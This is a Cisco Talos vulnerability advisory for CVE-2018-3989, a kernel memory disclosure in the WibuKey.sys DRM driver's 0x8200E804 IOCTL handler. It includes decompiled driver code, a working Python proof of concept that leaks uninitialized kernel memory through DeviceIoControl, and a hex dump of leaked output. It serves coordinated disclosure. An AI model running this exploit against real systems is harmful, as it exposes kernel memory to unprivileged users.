Talos Vulnerability Report

TALOS-2018-0657

WIBU-SYSTEMS WibuKey.sys 0x8200E804 kernel memory information disclosure vulnerability

January 28, 2019
CVE Number

CVE-2018-3989

Summary

An exploitable kernel memory disclosure vulnerability exists in the 0x8200E804 IOCTL handler functionality of WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400).

A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.

Tested Versions

WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400) - Windows 7 x86

Product URLs

https://www.wibu.com/products/wibukey.html

CVSSv3 Score

4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

WibuKey is a complete DRM solution used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is in the hardware, and part of it is a WibuKey Runtime for Windows package that contains important Windows drivers and services. This advisory is for a vulnerability in the driver installed by the Windows package.

This vulnerability can be triggered by sending IOCTL requests to the WibuKey device. Here, we show the default access controls on the device allow any user on the system to send IOCTL requests:

accesschk.exe -q -o \Device\WibuKey
\Device\WibuKey
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  NT AUTHORITY\RESTRICTED

The kernel memory leak is located in the IOCTL handler for the 0x8200E804 control code. The vulnerable function is:

Line 1  int __stdcall sub_A08360F0(struct_buffer_1 *buffer, struct_allocatedBuffer *allocatedBuffer)
Line 2  {
Line 3    someSize = buffer->someSize;
Line 4    v5 = buffer->unsigned6;
Line 5    result = v5 - 16;
Line 6    *(_DWORD *)allocatedBuffer->data = 0xC80B2;
Line 7    *(_WORD *)&allocatedBuffer->data[4] = 0x81;
Line 8    switch ( result )
Line 9    {
Line 10      case 19:
Line 11       v8 = sub_A08324B0(buffer->dword8, (_DWORD *)(buffer->dwordC > 0u ? (unsigned int)&buffer->unsigned10 : 0));
Line 12 LABEL_97:
Line 13       *(_DWORD *)&allocatedBuffer->data[8] = v8;
Line 14       v9 = v8 != 0;
Line 15       goto LABEL_98;
Line 16      (...)
Line 17 LABEL_98
Line 18 (...)
Line 19       *(_WORD *)&allocatedBuffer->data[2] = someSize;

At Line 5 if the result of the substraction v5 - 16 is equal to 19 we can see that *(_WORD *)&allocatedBuffer->data[2] at line 19 is set to the value of the someSize variable.

The value of someSize is set based on data coming from the user at line 3. In the end, we fully control the value set to the *(_WORD *)&allocatedBuffer->data[2] field.

Moving up, we see the following code:

Line 1  NTSTATUS __stdcall sub_A0835C60(_DEVICE_OBJECT *DeviceObject, PIRP Irp)
Line 2  {     
Line 3  (...)
Line 4            allocatedBuffer = (struct_allocatedBuffer *)allocPool(outLen);
Line 5            if ( allocatedBuffer )
Line 6            {
Line 7              if ( inBuffer->someSize <= outLen )
Line 8              {
Line 9                sub_A08360F0(inBuffer, allocatedBuffer);
Line 10               v9 = *(unsigned __int16 *)&allocatedBuffer->data[2];  
Line 12               if ( v9 <= outLen )
Line 13               {
Line 14                 memmove(inBuffer, allocatedBuffer, v9);
Line 15                 v4 = 0;
Line 16                 Irp->IoStatus.Information = v9;
Line 17               }

As we can see at line 10, the value from *(_WORD *)&allocatedBuffer->data[2] is assigned to the v9 variable, which is later compared with outLen (OutputBufferLength) at line 7.

If we pass the constraint, someSize bytes from allocatedBuffer are copied to inBuffer and returned to the user. Since the allocatedBuffer has not been cleared anywhere and there is no check to see how many bytes have really been set to it during this procedure, random kernel memory will be leaked to user space.

Exploit Proof of Concept

def leak_memory():
    fileName = u'\\\\.\\WibuKey'
    hFile = win32file.CreateFileW(fileName,
                          win32con.GENERIC_READ |win32con.GENERIC_WRITE,
                          0, 
                          None,
                          win32con.OPEN_EXISTING, 0 , None, 0)
    print "Handle ready : ",repr(hFile)

    try:
         ioctl = 0x8200E804     
         outBufferLen = 0x2e12 #FIXED        
         inputBuffer  = "XXXX" #gap
         inputBuffer += struct.pack("<H",0x2e12) #unsigned4
         inputBuffer += struct.pack("<B",35)   # unsigned6 FIXED
         inputBuffer += "X" #gap
         inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword8
         inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dwordC
         inputBuffer += struct.pack("<I",0xFFFFFFFE ) #unsigned10
         inputBuffer += struct.pack("<I",0xFFFFFFFD )#dword14
         inputBuffer += struct.pack("<B",random.randint(0,0xFF))#char18
         inputBuffer += "XXX"
         inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword1c
         inputBuffer += struct.pack("<B",random.randint(0,0xFF) )

         inputBufferLen = len(inputBuffer)           
         print "Time to send IOCTL : 0x%x" % ioctl
         buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
    except Exception as e:
        print e.message

leak_memory()


Output:

Handle ready :  <PyHANDLE:160>
outBufferSize :  11794
appCode :  35
00000000: B2 80 12 2E 0E 00 23 00  00 00 00 00 00 00 00 00  ......#.........
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
(...)
00001000: 46 69 6C 65 73 00 15 40  00 00 12 00 52 00 00 00  Files..@....R...
00001010: 02 00 00 00 29 00 00 00  0A 00 00 80 23 08 00 00  ....).......#...
00001020: 00 FC 0B 00 00 03 00 00  80 22 0B 00 00 00 FF FF  ........."......
00001030: 04 0C 00 00 22 08 20 00  00 14 0C 00 00 00 75 69  ....". .......ui
00001040: 6E 74 36 34 00 00 4D 61  70 70 69 6E 67 53 74 72  nt64..MappingStr
00001050: 69 6E 67 73 00 01 00 00  00 1C 0C 00 00 00 4D 49  ings..........MI
00001060: 46 2E 44 4D 54 46 7C 53  79 73 74 65 6D 20 4D 65  F.DMTF|System Me
00001070: 6D 6F 72 79 20 53 65 74  74 69 6E 67 73 7C 30 30  mory Settings|00
00001080: 31 2E 34 00 00 46 72 65  65 56 69 72 74 75 61 6C  1.4..FreeVirtual
00001090: 4D 65 6D 6F 72 79 00 15  40 00 00 0A 00 2A 00 00  Memory..@....*..
000010A0: 00 02 00 00 00 1C 00 00  00 0A 00 00 80 23 08 00  .............#..
000010B0: 00 00 80 0C 00 00 03 00  00 80 22 0B 00 00 00 FF  ..........".....
000010C0: FF 00 75 69 6E 74 36 34  00 00 49 6E 73 74 61 6C  ..uint64..Instal
000010D0: 6C 44 61 74 65 00 65 40  00 00 02 00 08 00 00 00  lDate.e@........
000010E0: 00 00 00 00 29 00 00 00  0A 00 00 80 23 08 00 00  ....).......#...
000010F0: 00 CC 0C 00 00 D6 0C 00  00 22 08 20 00 00 E6 0C  .........". ....
00001100: 00 00 03 00 00 80 22 0B  00 00 00 FF FF 00 64 61  ......".......da
00001110: 74 65 74 69 6D 65 00 00  4D 61 70 70 69 6E 67 53  tetime..MappingS    
(...)

Timeline

2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2019-01-28 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.